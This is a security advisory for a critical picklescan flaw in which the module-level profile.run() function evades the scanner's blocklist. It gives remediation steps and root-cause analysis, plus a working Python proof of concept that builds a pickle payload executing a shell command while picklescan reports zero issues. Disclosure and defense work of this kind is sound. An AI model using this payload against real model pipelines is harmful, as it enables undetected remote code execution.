GHSA-7wx9-6375-f5wh: picklescan: Allowlist Bypass evades input filtering
GHSA-7wx9-6375-f5wh CRITICALUpgrade picklescan to 1.0.4 immediately — any team using this tool as a security gate for ML model ingestion has been getting false negatives on a trivially exploitable RCE vector. Re-audit all pickle files previously cleared by older versions, as a 20-byte payload bypasses the scanner completely while executing arbitrary code via exec(). Until patched, treat picklescan output on any 'profile' module usage as untrustworthy.
Risk Assessment
Critical risk for organizations using picklescan as a security control in ML pipelines. Exploitability is trivial — the PoC requires no AI/ML expertise, just basic pickle serialization knowledge. The false-negative output (0 issues) is the most dangerous aspect: teams gain false confidence and lower their guard. Exposure is highest in MLOps pipelines that auto-load externally sourced models (HuggingFace Hub, MLflow registries, model marketplaces) after passing picklescan. CVSS 9.8 is accurate given no privileges or interaction required.
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| picklescan | pip | < 1.0.4 | 1.0.4 |
Do you use picklescan? You're affected.
Severity & Risk
Attack Surface
Recommended Action
6 steps-
IMMEDIATE
Upgrade picklescan to ≥1.0.4 across all environments and CI/CD pipelines.
-
AUDIT
Re-scan all pickle files previously cleared by older versions — prioritize externally sourced models.
-
DETECT
Search model files for 'profile' module references using: grep -r 'profile' <model_dir> or run updated picklescan.
-
ARCHITECTURAL
Migrate from pickle to safer serialization formats (safetensors for PyTorch, ONNX for cross-framework use) — pickle is inherently unsafe regardless of scanners.
-
DEFENSE-IN-DEPTH: Never load pickle files in privileged contexts; use sandboxed environments (containers with no network, minimal syscalls via seccomp) for model loading.
-
MONITOR
Alert on exec() calls and unexpected child processes spawned during model loading.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-7wx9-6375-f5wh?
Upgrade picklescan to 1.0.4 immediately — any team using this tool as a security gate for ML model ingestion has been getting false negatives on a trivially exploitable RCE vector. Re-audit all pickle files previously cleared by older versions, as a 20-byte payload bypasses the scanner completely while executing arbitrary code via exec(). Until patched, treat picklescan output on any 'profile' module usage as untrustworthy.
Is GHSA-7wx9-6375-f5wh actively exploited?
No confirmed active exploitation of GHSA-7wx9-6375-f5wh has been reported, but organizations should still patch proactively.
How to fix GHSA-7wx9-6375-f5wh?
1. IMMEDIATE: Upgrade picklescan to ≥1.0.4 across all environments and CI/CD pipelines. 2. AUDIT: Re-scan all pickle files previously cleared by older versions — prioritize externally sourced models. 3. DETECT: Search model files for 'profile' module references using: grep -r 'profile' <model_dir> or run updated picklescan. 4. ARCHITECTURAL: Migrate from pickle to safer serialization formats (safetensors for PyTorch, ONNX for cross-framework use) — pickle is inherently unsafe regardless of scanners. 5. DEFENSE-IN-DEPTH: Never load pickle files in privileged contexts; use sandboxed environments (containers with no network, minimal syscalls via seccomp) for model loading. 6. MONITOR: Alert on exec() calls and unexpected child processes spawned during model loading.
What systems are affected by GHSA-7wx9-6375-f5wh?
This vulnerability affects the following AI/ML architecture patterns: training pipelines, model serving, MLOps/CI-CD pipelines, model registries, agent frameworks.
What is the CVSS score for GHSA-7wx9-6375-f5wh?
GHSA-7wx9-6375-f5wh has a CVSS v3.1 base score of 9.8 (CRITICAL).
Technical Details
NVD Description
## Summary picklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `"Profile.run"` does not match the pickle global name `"run"`. ## Severity **High** — Direct code execution via `exec()` with zero scanner detection. ## Affected Versions - picklescan v1.0.3 (latest — the profile entries were added in recent versions) - Earlier versions also affected (profile not blocked at all) ## Details ### Root Cause In `scanner.py` line 199, the blocklist entry for `profile` is: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` When a pickle file imports `profile.run` (the module-level function), picklescan's opcode parser extracts: - `module = "profile"` - `name = "run"` The blocklist check at line 414 is: ```python elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter): ``` This checks: is `"run"` in `{"Profile.run", "Profile.runctx"}`? **Answer: NO.** `"run" != "Profile.run"`. The string comparison is exact — there is no prefix/suffix matching. ### What `profile.run()` Does ```python # From Python's Lib/profile.py def run(statement, filename=None, sort=-1): prof = Profile() try: prof.run(statement) # Calls exec(statement) except SystemExit: pass ... ``` `profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution. ### Proof of Concept ```python import struct, io, pickle def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b # profile.run("import os; os.system('id')") payload = ( b"\x80\x04\x95" + struct.pack("<Q", 60) + sbu("profile") + sbu("run") + b"\x93" + sbu("import os; os.system('id')") + b"\x85" + b"R" + b"." ) # picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"}) from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN! # Execute: runs exec("import os; os.system('id')") → RCE pickle.loads(payload) ``` ### Comparison | Pickle Global | Blocklist Entry | Match? | Result | |--------------|-----------------|--------|--------| | `("profile", "run")` | `"Profile.run"` | NO — `"run" != "Profile.run"` | CLEAN (bypass!) | | `("profile", "Profile.run")` | `"Profile.run"` | YES | DETECTED | | `("profile", "runctx")` | `"Profile.runctx"` | NO — `"runctx" != "Profile.runctx"` | CLEAN (bypass!) | The pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code. ## Impact `profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely. ## Suggested Fix Change the `profile` blocklist entry from: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` to: ```python "profile": "*", ``` Or explicitly add the module-level functions: ```python "profile": {"Profile.run", "Profile.runctx", "run", "runctx"}, ``` ## Resources - picklescan source: `scanner.py` line 199 (`"profile": {"Profile.run", "Profile.runctx"}`) - picklescan source: `scanner.py` line 414 (exact string match logic) - Python source: `Lib/profile.py` `run()` function — calls `exec()`
Exploitation Scenario
Attacker crafts a malicious PyTorch or scikit-learn model file using pickle serialization that embeds a profile.run() call with an arbitrary payload (e.g., reverse shell, credential harvester, cryptominer). They upload it to a shared model registry, HuggingFace Hub, or submit it via a model fine-tuning API. The defender's CI/CD pipeline runs picklescan — result: 0 issues, model marked safe. The model is promoted to production and loaded for inference. On load, profile.run() triggers exec(), executing the attacker's payload in the context of the ML serving infrastructure — typically with access to cloud credentials, training data, and internal network segments. The attack leaves no obvious traces since the execution happens during what appears to be legitimate model loading.
Weaknesses (CWE)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
GHSA-vvpj-8cmc-gx39 10.0 picklescan: security flaw enables exploitation
Same package: picklescan GHSA-g38g-8gr9-h9xp 9.8 picklescan: Allowlist Bypass evades input filtering
Same package: picklescan CVE-2025-1945 9.8 picklescan: ZIP flag bypass enables RCE in PyTorch models
Same package: picklescan GHSA-hgrh-qx5j-jfwx 8.8 picklescan: Protection Bypass circumvents security controls
Same package: picklescan CVE-2025-10157 8.3 PickleScan: subclass bypass enables malicious model RCE
Same package: picklescan
AI Threat Alert